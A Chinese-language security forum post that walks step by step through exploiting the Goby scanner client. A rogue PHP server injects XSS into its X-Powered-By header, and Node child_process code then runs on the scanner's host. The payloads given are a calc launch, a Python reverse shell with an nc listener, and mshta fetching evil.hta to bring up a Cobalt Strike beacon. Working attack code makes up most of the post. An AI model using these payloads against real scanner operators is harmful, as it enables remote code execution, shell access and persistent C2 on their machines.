前言

网络安全的本质:懂进攻,知防守,先正向,后逆向。
一名优秀的白帽子,是不能有短板的,有的只能是很多的标准板和几块长板。

一、弹xss

为了方便,本次直接使用 PhpStudy 进行建站,开启的web服务要为MySQL+Nginx,这里的 PhpStudy 地址为 http://x.x.x.x,直接将 Web 服务里的 index.php 改为以下内容

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=alert(\"xxxxx\")>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的xss弹窗的payload,点击扫描结果里的x.x.x.x

就会成功触发弹窗

二、弹计算器

复现 RCE 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 calc 的 js 文件,js 内容如下:
js文件在goby客户端的chrome里如果同名只会第一次去请求,后面就缓存起来了,在测试的时候修改js文件内容没有效果,要同时修改内容和文件名

(function(){
require('child_process').exec('calc');
})()

执行这段 JS 会打开Goby所在主机的计算器
之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/calc.js'))>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

成功反弹 计算器

三、反弹shell

复现 RCE 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 shell 的 js 文件,js 内容如下:

(function(){
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",xxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\'');
})()

执行这段 JS 会利用 Python 反弹 Shell 到 x.x.x.x 主机的 xxx 端口
之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/shell.js'))>");
?>

在x.x.x.x 主机的 xxx 端口开启监听
nc -lvp xxx

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

成功反弹 shell

四、上线cs

首先,cs生成VBA或者powershell的Hta程序,并且放到自己的公网服务器上

上线cs 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 1 的 js 文件,js 内容如下:

(function(){
require('child_process').exec('mshta http://x.x.x.x/evil.hta');
})();

执行这段 JS 会利用Goby所在主机的mshta.exe执行cs生成的VBA的Hta程序
也可以利用文件下载功能使用cs所在的服务器进行加载

需要将 js 内容修改为:

(function(){
require('child_process').exec('mshta http://x.x.x.x/download/file.ext');
})();

之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/1.js'))>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

经测试,cs生成VBA的Hta程序,Windows 10 企业版可以上线

经测试,cs生成powershell的Hta程序,Windows 7 企业版和Windows 10 企业版可以上线

网络安全感悟

做网络安全是一个长期的过程,因为做网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!

点击收藏 | 6 关注 | 4
登录 后跟帖